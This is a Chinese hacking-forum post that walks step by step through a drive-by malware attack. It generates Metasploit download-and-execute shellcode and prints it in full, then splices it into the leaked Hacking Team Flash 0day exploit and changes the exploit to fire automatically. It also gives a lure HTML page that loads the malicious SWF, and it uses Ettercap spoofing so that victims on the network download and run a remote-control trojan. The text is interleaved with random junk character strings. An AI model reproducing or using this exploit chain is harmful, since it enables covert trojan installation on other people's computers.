找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1691|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

' U* B" {: ^, V( v 三、flash 0day之手工代码修改制作下载者实例入侵演示 7 o5 T! ]# L; h, N

m# A* r D1 R' n' U

! v* X. e4 q8 r4 W4 K, s, g 利用到的工具: 3 R# G9 u& j- j* X$ o6 H

: G% d% O; e: c' e

0 ^8 |3 g& f4 ^6 G5 J: B, L8 F, p ] Msf A2 @: T. N+ \: _ x

+ K4 C4 K3 I' I4 `( {/ [

0 z& @- H7 J! I' m Ettercap 7 X% B" h9 B5 E6 Q3 U2 Z

" b' m% o& b$ z1 W; F, v8 q! n

% t0 X! p$ a0 s% X6 m4 b Adobe Flash CS6 4 s& _! [3 m1 x5 o! `9 C* \

$ u: }- x0 J0 q2 m( E

( x3 q7 K/ C2 G/ b; p Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 & }3 o% ^# x: @: A2 @) Q

- b: P' g0 m) [( g8 p( ]* U8 s

8 O! }. F! q) d* s; K( I* E* ~ 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options + ~- F* Y2 h$ h) T. h

3 s5 O( s0 t' S8 |, ^

% G+ Z4 F( l1 ~9 V. F 如图: % {9 c# K2 Y! ?4 L

) u/ M, s- W& a1 m, T% Y4 a

% C8 x/ E" C( T: r5 _   & ~: B( c- p! @: m4 K3 T

) j; }, H9 F: j5 @: E# h. J" b( J8 L

3 Z- B& [% x- k2 n' C   8 J+ R! w" t; M: Y4 `( S, [

6 m K+ M6 Z6 Q0 B! [

9 _, o( g4 I7 @. h; j& R/ o 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 0 f# o3 C& p5 m, S6 s' O

5 u3 V& d# x$ C# M a3 f

) y3 H% {, W% N8 c   : L# I' R8 n! @/ O3 j1 e; }' T9 U

8 z7 ]/ `( }6 x4 J

$ B/ s- H( H2 c' V# S3 ~3 M$ V   2 P" { B( U/ ?* o4 ^$ C) \

2 R/ L& j! r. E4 n" B6 ^, ~

" S0 O; \9 c p5 n5 M. Y& u4 X 然后执行generate -t dword生成shellcode,如下: * Z+ T/ o8 i& h+ E% @

* ^& \: T+ m/ X2 |

# _. T" B. w% R) Z* e) a1 ~   . \( S& |+ o5 f6 R$ c! z* i, C

/ t/ ^, ]. |5 e1 M) x5 ~$ c

: i8 O3 v/ }# x, d; _* z- \- d$ \9 v7 c 复制代码到文本下便于我们一会编辑flash exp,如下: 3 p* w. B& p) i* b' u* D6 j

' H" _$ C0 |- m2 F& S6 z" b7 j$ f

# v" \4 ?' c3 Q% }9 r 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, ; v- c. e. V$ ^* o, o. e

. d/ n, d. r, Z& t s

5 n7 f0 }. ]* z+ \! E8 _ L 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, / \- ^# D& O9 b, m. H7 t

( y- B, T4 c; u# q" T

8 Z. p. k( s9 ? 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, . t, @( m8 K9 U, {0 b1 Z/ |

" u+ Z6 B- ~. d; G% u) u8 ~

7 h+ Y3 X" [2 Y! i9 L* v8 I 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, / C! P! v3 i5 G& o: d

" a, d/ j- a3 T F' b1 d

1 t: ~9 @7 l& _ 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, : d0 F# l9 K6 ?: p+ {( C

% o( C. I+ g. H. a4 w

" ?" _$ ~, R. z- d' J' y- L4 O 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, , w0 @3 V4 z; E) t. p7 z+ x

, m# a1 Y& e/ g5 b6 I# c

$ l2 P( `0 {9 K, a2 @/ t 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, - A1 Z% F; n0 i7 n/ e

3 R& p& K1 K5 ~$ M

" Y3 Q6 K* R2 I 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, # h5 D0 r5 s/ `+ l0 P, r* D

5 X' [# R) V, E$ P+ d

3 I+ C# f' E3 y* r$ X& C: A 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 8 w2 C4 N- W s, s; g+ [

& @$ J: H" Z5 E3 D: m' K4 d

& O, E" H0 u& P6 W: G% }. J 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 6 f! h; @; J) D# V

/ {1 C# A, m2 t

/ v0 ^, f0 l- ^( C 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, : [# B/ E$ a* R: A* L

" T- y, q: S. V; S, C9 v1 Z

# k: [4 s; }/ c: \6 E+ g$ b6 l. G 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 7 T) G* A5 m9 x3 j

1 C L" t8 E/ t/ R

$ E! [0 h4 T6 Y 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, % h3 R' \- A8 u; [7 ` z L# @

' Y! e$ n5 R& \! q, A4 c) }% p

, }, _5 J, r9 [5 @- ]5 n: P- Q 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ! P4 p: |4 L+ n; h& l% ^! N2 \

0 V2 y; {) J3 e% k; W" p

' F4 s$ G4 @. o! |   0 W$ V2 W& t) ^$ P9 \( i: `; H4 Y t

9 ~( L* e1 P- Q, p; c8 z7 k

6 {; X9 j2 ?7 X% G3 q P6 {' t. z   & {* b1 l7 m; A

& m/ i" e2 [% s

8 f) G6 k( R+ N 下面我们来修改flash 0day exp,需要修改三个文件,分别为: & T# e+ D( S1 G9 W# S

" Z$ l6 F2 v" [# p" g4 ^0 U: S7 ~) P

- n8 J9 F) Z# |2 h5 d4 L5 G& U   , k' \( Y! m2 k) I) b

4 F. `* B& q \; Q& v

9 p8 a3 ^5 e* T4 H5 ^8 y# y$ \: d 先修改ShellWin32.as,部分源代码如图: 0 j, y3 ~" z% B- V

( b, v0 e8 R6 ~% B8 n

4 p, N- c. j! G   ) o. ~9 }! d [

3 L- U1 I5 R9 V7 |

1 g( V4 f9 s; |3 v; |4 G/ \3 F1 B 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: Q$ u) a; M: B( U

, I2 [% \ W4 T0 q3 _# X! G) a

' H ~% \/ }# P4 o* B5 H   ( G) V0 C1 m! }1 g: ?/ o

9 s6 V% M' N% s. H; \

; X G7 ^# H. ?) w4 S4 h s 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: % h9 `5 v( o' C, `5 B1 `0 u

. [% h( W, O! ^4 n5 i

' D7 J$ m1 S, b, Z& S) L* L% X" w   : t* V3 k' I! i

5 @" L. \6 h: h3 I

, \8 I4 X" s8 O* _5 \4 r; Z 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: [2 g& y5 Y0 D. e; u: ?) y

6 u* g8 u3 S& v- Y& N

( N& d C" c7 ^1 ?$ w   ( v8 v; W9 b# v9 b; j. f

! k4 A; x" E' B

( M/ u) ~3 q( V   ! ]+ G$ P0 J2 {; {' i: k

- Z2 j _" J0 A0 Z

8 N) Y0 o5 I! P   6 _" w* \5 n$ Y$ G) E3 B

0 X2 ^4 n" M8 A6 x* c8 n

! K. \4 y9 F0 q1 Q- x& C! Z 然后点保存,下面我们来编译一下,打开 ' t" v8 J7 o% ~

& B% J, S/ a; j# @* X5 E( j& L7 j% K

5 H+ k) c- M# u' }0 p exp1.fla然后点文件-发布,看看编译没错误 " W2 x( K p. B

: U: g! B+ f! s* P; M

7 T7 o0 ~0 T/ g ]8 M" v   5 {0 ^( E; x" a Y2 ]& {: Q* H

6 I& s" y5 `3 g% A# t& V2 a" S- d

' B: T6 V( j* h N9 q$ i   ' U! ?" h C( ^/ U

+ J6 N. s. `) m

, |% x! |2 I- Y! d& l   / B% j# i1 c4 S1 |$ B

% C6 n* `/ K2 v3 O

8 K' }0 }1 J# f5 ^ h) a8 N   & e+ W' @7 k; r: l3 f9 d

; @( z- t: g6 C9 p

5 s3 r% a2 L5 X& |' K 然后我们把生成的 . \! O( P% h6 N2 z, {

2 G3 l) J4 s5 }, a$ v" ?

0 A; \! P( C) }- e" x exp1.swf丢到kailinux 的/var/www/html下: " H/ [, a5 E) o [

* r+ W4 h4 U# h

% H& K6 V& j5 J8 t4 `9 \ 然后把这段代码好好编辑一下 $ z8 C/ `; i" s( q& F7 _. |

% z# K6 }. u/ m& x- m; A

! K) p+ [" f% i- t1 l- Q( W   , Q( P" O& c! p) n2 [

2 d" O: `, @9 D

4 u3 z+ S. T6 E9 o+ ?+ X   6 Y* U! c4 ]8 ^0 o- E

3 R% g- G# @: k K( `, y9 L

$ O4 u' X0 e3 P, i0 g   - r$ Z7 s, Z+ M0 s

/ ]( `' y4 P3 x

4 e6 o4 H$ C3 g   4 `( l( e3 H$ W, f1 ^2 C

/ p7 w+ f; P4 {

2 L- p: _! }# W1 U   + r/ N; D( X/ _4 o) \1 T

|" e+ O$ i P( b/ L8 F e+ L+ q: r

- }$ B1 ^+ z! ^8 ?6 x: H8 u( G   * S5 x$ s& d8 {- W# m4 \. w

3 m+ s- u, F$ ~: N9 \9 ?

8 O2 |# f4 J8 E4 w2 p5 ? <!DOCTYPE html> 2 x6 p+ N* }% A. O* D8 K1 i

! S0 z2 o6 Q" d9 T1 _

0 B0 }9 a8 `* ]& f. ~/ l- K1 b) W <html> : t8 q! g- N5 ~2 b- p

( }5 N; z3 M9 h% j( I# q* ?. l8 G

& N& N& w3 O9 y# V <head> ) ?: ?+ I* Y' O( l

8 l' a3 _, i7 D! l1 E7 G# _

2 q! T$ H+ A3 x) S% ?9 M o9 C <meta http-equiv="Content-Type" content="text/html; 9 _& ~" E( r$ D% k& {

" \3 k" N' w% G# k6 }2 Y

5 L0 b( R5 x. Q+ S6 \) k charset=utf-8"/> 8 e# p# u1 u7 P, K

. A$ y- b, s% ~& \: n% ]+ u" N

K9 N* t! }$ g0 X' N( M- o9 i </head> ( R: x/ O7 K+ X: b7 Q7 I( J- H

6 y j4 }0 P. N3 j

7 v8 d" R/ U. C# e7 G- c1 u! p <body> " ?1 C; ?/ |0 b% p9 V* N

- {& k! x# h8 r8 j1 z3 O

( O" u/ S N9 q; Z. f! X <h2> Please wait, the requested page is loading...</h2> ! k2 B0 g9 N+ T

1 E! @9 j# B; T) `

+ ?6 B7 f* a4 Z, k0 K+ \ <br> 9 F/ y# b, D! [

, d9 ?' X- g% P0 u

) f% _* q6 s7 { <OBJECT 7 L6 X$ R U2 _* t

, z' t' @/ A1 g

- E: V: Q' I/ S1 Y, d" F9 Z0 E2 U classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie 4 y9 ^3 F" B G0 \8 F6 |

# t* o& T5 m G$ E' x$ c6 g2 S

% s6 e) e! T& p' \( l" G VALUE="http://192.168.0.109/exp1.swf"></OBJECT> : N' x# Y3 n- v; o# u, f: m

! h2 _# s5 R# V- p5 N2 m

3 K, h/ J/ ~8 H </body> 6 J' [" L- g6 Q! d9 U/ ?: B

, `7 D7 D0 h+ b g. ]- M+ V$ t' p

9 l6 z) `9 l/ i( `. b3 w* q. A <script> 9 N; ^$ X& d, a& j5 \

$ Z8 [7 J1 V9 _5 K

! Y2 ^$ Z, b' Y6 I2 w, C9 T. `+ U! c0 N     setTimeout(function () { ) s( V# o- V! w# ]( ~

* `0 z M4 P& O7 v- e

7 i* }. i5 d1 n3 c- O          4 x$ E1 j, ]3 P$ c6 g( p7 k/ S

8 d% u! K" C* Y) p1 d& m5 u

/ A% o* L4 ]+ E window.location.reload(); ' ?1 w7 X6 \% c6 b

' s* a6 b; F7 e# `5 k) U

4 I6 F. a- x& S) g& t     }, 10000); $ r) k; C" j* W& \

# a7 e# o' C, X8 p- b+ e. E

9 N8 A* ]7 j8 i   + Y; o6 W& _( |' L) v

7 b5 f" V* K' g3 D7 T) P5 ^

0 M, s/ R7 w' m. v </script> ( Q" R% G$ ?& r9 z2 |) s! c

, c$ I7 R Z. \# W. R$ o; h5 a

: ~1 G8 l y. ], K! o </html> + p" s! c% k7 ?" G3 Q

! v U1 b- x+ A. ~+ T4 {

' l/ a7 \/ e) A8 U   ' Y1 Y1 w( A' j* r$ u4 N5 p) S: _% j

0 P6 z& X& _6 M8 W6 e/ v

" R# q4 \, N- w4 N! \" c 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: * S. l3 t6 j" i5 A

; U4 [+ e `* ?3 f1 i

" ~% o. K1 s/ V/ i5 b   ( t; z) C/ P. [5 V9 a1 _% ^

. S+ `; x# l0 @! @3 ?

( E: L7 o* I+ N" a) ]: d: K   & v8 D* P, _& h+ M- \" ~$ d

& f7 X% ^0 i- Z# F

6 f! |0 h3 e6 U7 i   o8 D" P6 |- Q# l5 K

$ t& E) B4 U* E! N

6 h; [& |' \% n- Y& ^2 M   : g; o$ t: H) r$ Q2 O/ a! b

; C, t$ W" D- _; r+ C d5 K' h

8 i" o ?3 @8 K, K   3 U2 U' a1 X( V( D/ Z/ R1 p

; k3 |/ K- j0 f+ t' d( S R

' ?0 I2 l% k8 G0 Q8 S* ~ 下面我们用ettercap欺骗如图: 4 O( s+ U+ C) l! L

) W0 l( ?" f; n

6 A7 N2 c4 K6 r6 |: P s, G0 x0 q8 c   3 J# l5 `/ B2 {* A- x) f

4 K4 `, D- d" _7 T; C7 \2 [8 ?; s1 l

! S% r; p( a( q( ~5 ], l, H2 F. {   # p6 [9 d: l& Y/ @) S" r

+ z" w3 Z# E" g+ z D, {1 I

, g: U' E1 j1 V( c2 s5 ?/ Q 下面我们随便访问个网站看看: # y* _7 ]1 q9 ~3 J8 w# x

% Q! \9 l! k6 K' t' T* }& [0 i

! S: k& K6 \2 h3 W+ I _* j 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: & k2 o' [: t1 r3 k' y" I

' V/ M6 y( z& ?$ m: ^ K

/ c) q( M/ ?1 o9 T4 \# p   2 S+ f0 F J0 t, h; f3 I

6 G8 \- r6 K. u8 J* H8 m$ U1 a

- o& K+ N5 }1 x! p: ~: Z+ u- ] 我们看另一台, . O5 ?4 C$ y4 f7 ]& k

8 p# y0 {, a* z0 V l

" |' g# D; B) t/ I& o 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 - h& z& q) M2 y* S. c, B2 h

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表